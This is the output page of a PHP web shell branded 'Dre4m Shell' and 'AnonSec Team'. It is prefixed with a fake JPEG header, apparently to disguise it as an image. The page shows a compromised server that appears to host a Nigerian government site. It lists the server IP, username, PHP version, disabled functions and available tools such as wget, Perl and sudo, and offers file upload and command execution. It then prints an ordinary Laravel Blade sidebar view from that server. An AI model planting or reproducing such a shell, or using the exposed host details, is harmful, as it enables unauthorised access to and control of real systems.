ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.147.36.201
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/9f56001ada8ca0ea01945f17a1dfbe1f9138521e.php
<ul class="sidebar-menu">
    <li class="header">USER'S LINKS</li>
    <!--link-->
    <!--if(Session::get('firstLogin') == 1)-->
    <?php
        // Fetch all user modules without grouping
        if (Session::get('UserType') == 'Technical') {
            $userModule = DB::table('assign_user_role')
                ->join('user_role', 'user_role.roleID', '=', 'assign_user_role.roleID')
                ->join('assign_module_role', 'assign_module_role.roleID', '=', 'assign_user_role.roleID')
                ->join('module', 'module.moduleID', '=', 'assign_module_role.moduleID')
                //->where('assign_user_role.userID', '=', Auth::user()->id)
                ->whereRaw('module.moduleID = assign_module_role.moduleID')
                //->whereRaw('user_role.roleID = assign_user_role.roleID')
                ->distinct()
                ->select('module.modulename', 'module.moduleID', 'user_role.rolename', 'module.link_type')
                // ->orderBy('module.module_rank', 'ASC')
                ->orderBy('module.modulename', 'ASC')
                ->get();
        } else {
            $userModules = DB::table('assign_user_role')
                ->join('user_role', 'user_role.roleID', '=', 'assign_user_role.roleID')
                ->join('assign_module_role', 'assign_module_role.roleID', '=', 'assign_user_role.roleID')
                ->join('module', 'module.moduleID', '=', 'assign_module_role.moduleID')
                ->where('assign_user_role.userID', '=', Auth::user()->id)
                ->whereRaw('module.moduleID = assign_module_role.moduleID')
                ->whereRaw('user_role.roleID = assign_user_role.roleID')
                ->distinct()
                ->select('module.modulename', 'module.moduleID', 'user_role.rolename', 'module.link_type')
                ->orderBy('module.link_type', 'ASC') // Order by link_type
                // ->orderBy('module.module_rank', 'ASC')
                ->orderBy('module.modulename', 'ASC')
                ->get();
        }
    ?>
    
    <?php if($userModules): ?>
        <?php
            $groupedModules = [];
            foreach ($userModules as $module) {
                $groupedModules[$module->link_type][] = $module;
            }
        ?>

        <?php $__currentLoopData = $groupedModules; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $linkType => $modules): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
            <li class="text-center" style="color: white"><strong><?php echo e($linkType); ?></strong></li>
            <?php $__currentLoopData = $modules; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $module): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                <?php
                    // Fetch submodules for each module
                    $userLinks = DB::table('submodule')
                        ->join('module', 'module.moduleID', '=', 'submodule.moduleID')
                        ->where('submodule.moduleID', '=', $module->moduleID)
                        ->distinct()
                        // ->orderBy('module.module_rank', 'Asc')
                        ->orderBy('module.modulename', 'ASC')
                        // ->orderBy('submodule.sub_module_rank', 'Asc')
                        ->orderBy('submodule.submodulename', 'Asc')
                        ->get();
                ?>
                <li class="treeview" id="admin">
                    <a data-target="#">
                        <i class="fa fa-users text-aqua"></i> <span><?php echo e($module->modulename); ?></span>
                        <i class="fa fa-angle-left pull-right"></i>
                    </a>
                    <ul class="treeview-menu">
                        <?php $__currentLoopData = $userLinks; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $route): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <li><a href="<?php echo url($route->route); ?>"><i
                                        class="fa fa-circle-o"></i><?php echo e($route->submodulename); ?></a></li>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    </ul>
                </li>
            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
    <?php endif; ?>
    <!--endif-->
    <!--//-->
</ul>
<?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/MasterRolePermission/layout/userRouteLink.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team